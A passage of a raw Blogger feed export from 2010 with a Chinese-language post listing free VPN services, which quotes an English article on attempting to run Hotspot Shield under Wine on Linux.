255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="co2" style="color: rgb(51, 153, 0)"&gt;#endif &amp;nbsp;/* HAVE_GETRUSAGE */&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;}&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;/font&gt;&lt;div id="ee.e" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;span style="font-family: sans-serif"&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div id="f.:l" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;span style="font-family: sans-serif"&gt;&lt;font size="3"&gt;&amp;nbsp;&lt;span style="font-family: Verdana"&gt;&lt;div id="sme1" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: auto; margin-left: auto; text-decoration: inherit; background-image: initial; background-color: rgb(255, 255, 255); text-align: left"&gt;&lt;div id="d-n." class="clear" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 0px; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="p.1n" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="ju5-" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 351px; margin-left: 0px; text-decoration: inherit"&gt;&lt;font size="4"&gt;&lt;div id="k-fw" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: auto; margin-left: auto; text-decoration: inherit; background-image: initial; background-color: rgb(255, 255, 255); text-align: left"&gt;&lt;div id="su22" class="clear" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 0px; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="f6om" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;span style="font-family: sans-serif"&gt;&lt;font size="3"&gt;&lt;span style="font-family: Verdana"&gt;&lt;div id="rnf5" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: auto; margin-left: auto; text-decoration: inherit; background-image: initial; background-color: rgb(255, 255, 255); text-align: left"&gt;&lt;div id="qhcr" class="clear" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 0px; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="i8qp" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="rch6" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 351px; margin-left: 0px; text-decoration: inherit"&gt;&lt;font size="4"&gt;&lt;font size="4"&gt;&lt;div id="ko3:" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: auto; margin-left: auto; text-decoration: inherit; background-image: initial; background-color: rgb(255, 255, 255); text-align: left"&gt;&lt;div id="n85o" class="clear" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 0px; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="k6nl" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="Arial, sans-serif"&gt;&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/font&gt;&lt;br&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-7687329566472498434?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/7687329566472498434/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=7687329566472498434' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/7687329566472498434'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/7687329566472498434'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2010/01/different-of-real-user-sys-time.html' title='different of  real user sys time'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-8745857177216988322</id><published>2010-01-09T19:45:00.001-08:00</published><updated>2010-01-09T19:45:05.511-08:00</updated><title type='text'>Free VPN Tools</title><content type='html'>&lt;h1 style="text-align: center;"&gt;Free VPN Tools&amp;nbsp;&lt;/h1&gt;&lt;br /&gt;&lt;div&gt;&lt;font size="3"&gt;1.https://www.ultravpn.fr/&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: Verdana, Arial, Helvetica, sans-serif; color: rgb(51, 51, 51)"&gt;&lt;h1 style="font-family: sans-serif, Helvetica, Arial; font-weight: normal; color: rgb(51, 51, 51); margin-right: 0px; margin-left: 0px"&gt;&lt;font size="6"&gt;UltraVPN - A Free VPN Powered by the Community&lt;/font&gt;&lt;/h1&gt;&lt;div&gt;&lt;font size="3"&gt;已经注册了 alexzhang&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="3"&gt;基于openvpn 的 服务 .&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="3"&gt;可以利用虚拟机中装 该软件 实现 &amp;nbsp;。&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="3"&gt;2.http://thefreevpn.com/&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="3"&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: Geneva, Arial, Helvetica, sans-serif; color: rgb(54, 104, 155)"&gt;&lt;b&gt;&lt;font size="5"&gt;Welcome to Free USA | UK | Canada VPN&amp;nbsp;&lt;/font&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="Arial"&gt;&lt;font class="Apple-style-span" color="#000000"&gt;和上面的软件差不多 ，&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="Arial"&gt;&lt;font class="Apple-style-span" color="#000000"&gt;3.http://www.tinc-vpn.org/&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="Arial"&gt;&lt;font class="Apple-style-span" color="#000000"&gt;&lt;span style="font-family: sans-serif"&gt;&lt;h3 id="whatistinc" style="text-align: left"&gt;&lt;font size="3"&gt;What is tinc?&lt;/font&gt;&lt;/h3&gt;&lt;p&gt;&lt;font size="3"&gt;tinc is a Virtual Private Network (VPN) daemon that uses tunnelling and encryption to create a secure private network between hosts on the Internet. tinc is Free Software and licensed under the&amp;nbsp;&lt;a href="http://www.gnu.org/licenses/old-licenses/gpl-2.0.html"&gt;GNU General Public License&lt;/a&gt;&amp;nbsp;version 2 or later. Because the VPN appears to the IP level network code as a normal network device, there is no need to adapt any existing software. This allows VPN sites to share information with each other over the Internet without exposing any information to others. In addition, tinc has the following features:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;Linux 下的VPN 客户端 ，仅此而已 。&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;4.http://www.freeswan.org/&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;&lt;span style="font-family: Verdana, Arial, Helvetica, sans-serif"&gt;&lt;font size="3"&gt;The FreeS/WAN team is proud to announce the arrival of 2.06, the project's final release of its freely redistributable IPsec for Linux. Here are a few of its notable features, as documented in the CHANGES file:&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;&lt;span style="font-family: Verdana, Arial, Helvetica, sans-serif"&gt;&lt;font size="3"&gt;也是 linux 下的VPN&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;&lt;span style="font-family: Verdana, Arial, Helvetica, sans-serif"&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;&lt;span style="font-family: Verdana, Arial, Helvetica, sans-serif"&gt;&lt;font size="3"&gt;5.http://www.packetix.net/en/vpn/admin/vpnclient.aspx&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;/span&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;/font&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana, Geneva, Arial, Helvetica, sans-serif"&gt;&lt;h2 style="font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; margin-right: 0px; margin-left: 0px; background-repeat: no-repeat repeat"&gt;&lt;b&gt;&lt;font size="4"&gt;Client Installation for VPN Online Test Environment&lt;/font&gt;&lt;/b&gt;&lt;/h2&gt;&lt;p style="font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;&lt;img border="0" src="http://docs.google.com/images/se_client.jpg" width="63" height="65" align="right" style="border-style: initial; border-color: initial; margin-right: 0px; margin-left: 0px"&gt;You need to install the PacketiX VPN Client on you local PC to create a VPN connection to the Virtual Hub&amp;nbsp;&lt;/font&gt;&lt;span id="Label1" style="color: green; font-size: larger"&gt;&lt;b&gt;"alexzhang"&lt;/b&gt;&lt;/span&gt;&lt;font size="2"&gt;.&lt;/font&gt;&lt;/p&gt;&lt;p style="font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;You can install and configure the client by hand, or the ActiveX control on this page to install and configure it automatically.&lt;/font&gt;&lt;/p&gt;&lt;/span&gt;&amp;nbsp;&lt;br&gt;&lt;div&gt;&lt;p style=" margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;PacketiX VPN Client 2.0 also operates on platforms with Linux kernel 2.4 or later. However, the Linux version of VPN Client has numerous limitations, and currently it cannot be operated using a GUI. Therefore, the Linux version of VPN Client is recommended for use only by users with a very strong understanding of the Linux operating system and networks.&lt;/font&gt;&lt;/p&gt;&lt;p style=" margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;When using a Linux server to configure a connection between bases or a remote access VPN, normally this can be achieved using the local bridge functions of the Linux version of VPN Server, and the Linux version of VPN Client does not need to be used.&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;br&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: Verdana, Georgia, Tahoma, Calibri, sans-serif; color: rgb(85, 85, 85)"&gt;&lt;font size="2"&gt;is a Japan VPN service. It is actually a premium service, but they have PacketiX.NET online test service as well which is free to use. The service is fast and reliable and it is easy to use as well. Just download the VPN connection manager, install and connect!&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="'Arial Narrow'"&gt;&lt;font size="3"&gt;提供 多平台的支持 尤其支持 windows 浏览器在线VPN&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="'Arial Narrow'"&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="'Arial Narrow'"&gt;&lt;font size="3"&gt;http://vtun.sourceforge.net/tun/ &amp;nbsp;支持&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="'Arial Narrow'"&gt;&lt;font size="3"&gt;6.http://hotspotshield.com/&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="'Arial Narrow'"&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="'Arial Narrow'"&gt;&lt;font size="3"&gt;&lt;h1 id="welcome" style="color: rgb(54, 104, 155); margin-right: 0px; margin-left: 0px"&gt;&lt;font size="5"&gt;Welcome to Hotspot Shield!&lt;/font&gt;&lt;/h1&gt;&lt;div&gt;&lt;font size="5"&gt;&lt;ul&gt;&lt;li&gt;&lt;font size="2"&gt;Secure your web session with HTTPS encryption.&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;Hide your IP address for your privacy online.&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;Access all content privately without censorship; bypass firewalls.&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;Protect yourself from snoopers at Wi-Fi hotspots, hotels, airports, corporate offices and ISP hubs.&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;Works on wireless and wired connections alike.&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;Secure your data &amp;amp; personal information online.&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="2"&gt;很好的免费的VPN 工具 &amp;nbsp;。&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="2"&gt;不支持linux 客户端 。&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="2"&gt;正因为这个工具不错，选择它用在 虚拟机中，在虚拟机里安装XP，通过简单的安装，就可以通过&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="2"&gt;VPN上很多网站。&lt;img class="big" id="image_2065419" alt="screenshot17.png" src="http://img2.pict.com/88/e8/ec/2065419/0/screenshot17.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="2"&gt;真正的安全。&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="2"&gt;http://miriup.de/index.php?view=article&amp;amp;catid=8:linux&amp;amp;id=8:using-hotspot-shield-under-linux&amp;amp;tmpl=component&amp;amp;print=1&amp;amp;page=&amp;amp;option=com_content&amp;amp;Itemid=2&amp;amp;17d36e81b1af746007a10b6c2018853c=9cf605e3c8e48fae928c28746fec2052#mce_temp_url#&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;table class="contentpaneopen zeroBorder" style="margin-right: 0px; margin-left: 0px"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="contentheading" width="100%" style="font-family: Arial, Helvetica, sans-serif; font-weight: normal; vertical-align: bottom; color: rgb(51, 51, 51); text-align: left; width: 1241px"&gt;&lt;font size="5"&gt;&lt;font size="2"&gt;Using HotSpot Shield under Linux&lt;/font&gt;&lt;/font&gt;&lt;/td&gt;&lt;td align="right" width="100%" class="buttonheading"&gt;&lt;a href="#" style="text-decoration: none; font-weight: normal"&gt;&lt;img src="http://docs.google.com/images/M_images/printButton.png" alt="Print" style="border-color: initial; border-width: initial; border-color: initial"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="contentpaneopen zeroBorder" style="margin-right: 0px; margin-left: 0px"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="70%" valign="top" colspan="2"&gt;&lt;span class="small" style="color: rgb(153, 153, 153); font-weight: normal; text-align: left"&gt;&lt;font size="3"&gt;&lt;font size="2"&gt;Written by Dirk Tilger	&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;&amp;nbsp;&amp;nbsp;&lt;/font&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top" colspan="2" class="createdate" style="height: 20px; vertical-align: top; color: rgb(153, 153, 153); font-weight: normal"&gt;&lt;font size="3"&gt;&lt;font size="2"&gt;Tuesday, 31 March 2009 13:26&lt;/font&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top" colspan="2"&gt;&lt;h1 style="font-family: Helvetica, Arial, sans-serif; vertical-align: bottom; color: rgb(102, 102, 102); text-align: left"&gt;&lt;b&gt;&lt;font size="5"&gt;&lt;font size="2"&gt;Why?&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/h1&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;A friend of mine is promoting Linux in his company and for a certain number of applications he would like to use a public VPN service.&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;Hotspot Shield&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;is apparently one of the most widely known ones out there, so naturally people are asking whether it could run under Linux.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;h1 class="caption" style="font-family: Helvetica, Arial, sans-serif; vertical-align: bottom; color: rgb(102, 102, 102); text-align: left"&gt;&lt;span style="color: rgb(51, 51, 51); font-family: Tahoma; font-weight: normal"&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;W&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;b&gt;&lt;font size="5"&gt;&lt;font size="2"&gt;hat makes you think it could run?&amp;nbsp;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/h1&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;If you take a closer look at&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;Hotspot Shield&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;, one could quickly get the impression it's easy to make it run under Linux and while you're at it you might in fact believe for quite a while that you are on a successful track. However, it's not that easy as it turns out and the author of this text eventually gave up on it. However, if you're still determined you might actually get it to work and we'll present an idea at the end of this text on what to do. Until then I just give you an idea stones that lay on the way to give you an idea what not to try.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;h1 style="font-family: Helvetica, Arial, sans-serif; vertical-align: bottom; color: rgb(102, 102, 102); text-align: left"&gt;&lt;span style="color: rgb(51, 51, 51); font-family: Tahoma; font-weight: normal"&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;W&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;b&gt;&lt;font size="5"&gt;&lt;font size="2"&gt;hy not.&amp;nbsp;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/h1&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;If you take a look into the binaries folder after installing&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;Hotspot Shield&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;, you get this or a similar look:&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://docs.google.com/images/stories/picture%2013.png" border="0" style="border-color: initial"&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;After the installation your first obstacle would be a Windows service trying to bind to port 895 - which is restricted to root under any decent Linux/Un*x system and this inaccessible, since you are not running&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;wine&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;as root (are you?). You can figure that out by enable tracing for&amp;nbsp;&lt;/font&gt;&lt;i&gt;&lt;font size="2"&gt;winsock&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;and executing the service executable&amp;nbsp;&lt;/font&gt;&lt;i&gt;&lt;font size="2"&gt;openvpnas.exe&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;(with the&amp;nbsp;&lt;/font&gt;&lt;i&gt;&lt;font size="2"&gt;-debug&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;parameter) directly. I bypassed this first obstacle by patching&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;wine&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;to assign a non-privileged port. People seem to look often for a solution to the root-ports problem, so one positive outcome of this experiment will be a&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;wine&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;patch. Once it's pretty I will submit it to wine-patches mailinglist for inclusion. Should it get rejected, it will be posted here.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;i&gt;&lt;font size="2"&gt;openvpn.exe&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;appears to be the&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;OpenVPN&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;executable. If you understand the inner workings of&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;wine&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;a little bit more you will understand that&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;OpenVPN&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;is not likely to run out of the box, since within&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;wine&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;it will have a hard time creating a new network device on the kernel level. So, replacing&amp;nbsp;&lt;/font&gt;&lt;i&gt;&lt;font size="2"&gt;openvpn.exe&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;was my first candidate and I thought a good one: it's GPL licensed and thus open.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;You can start native applications on your machine through&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;wine&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;, thus replacing&amp;nbsp;&lt;/font&gt;&lt;i&gt;&lt;font size="2"&gt;openvpn.exe&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;with a native&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;OpenVPN&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;should have done the trick.&amp;nbsp;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;After quite some time of configuring and writing a wrapper around&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;OpenVPN&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;I had to find out that&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;AnchorFree&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;had done modifications to&amp;nbsp;&lt;/font&gt;&lt;i&gt;&lt;font size="2"&gt;openvpn.exe&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;. While I could address some of them with a wrapper (though one that had to rewrite network packets) in other aspects the modified&amp;nbsp;&lt;/font&gt;&lt;i&gt;&lt;font size="2"&gt;openvpn.exe&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;does not behave according to the manual of the GPL one and then it becomes really nasty to figure things out. While grumbling over the GPL violation I found out more or less by accident that&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;OpenVPN&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;is dual-licensed and this modification is in fact allowed.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;h1 style="font-family: Helvetica, Arial, sans-serif; vertical-align: bottom; color: rgb(102, 102, 102); text-align: left"&gt;&lt;span style="color: rgb(51, 51, 51); font-family: Tahoma; font-weight: normal"&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;H&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;b&gt;&lt;font size="5"&gt;&lt;font size="2"&gt;ow it could in fact work: ideas for someone else&amp;nbsp;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/h1&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;With the&amp;nbsp;&lt;/font&gt;&lt;i&gt;&lt;font size="2"&gt;openvpn.exe&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;turning out not being a good cutting point for an interoperability patch, there is still an option left. The main problem of&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;Hotspot Shield&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;not running in&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;wine&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;is that it won't be able to load a network driver into the kernel of the host OS. This particular driver, the ethernet network tap however came in fact from the Unix world and had been ported to Windows. So the remaining option would be to implement the Windows interface of the TAP-Win32 driver and map its calls to the native TAP driver. For me that is more time worth spending.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;OpenVPN&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;has to support both the traditional Un*x TAP driver and the Windows driver. Accesses to both of them can be found in&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;tun.c&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;(at least for the&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;prelease 2.1 branch in the SVN repository&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;). An implementation of a&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;wine&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;TAP driver therefore could largely be done with copy and paste. If you look for example for&amp;nbsp;&lt;/font&gt;&lt;i&gt;&lt;font size="2"&gt;open_tun&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;(which opens the TUN/TAP device), you will find implementations for:&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;Linux&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;Generic Un*xes&amp;nbsp;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;Solaris&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;OpenBSD&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font 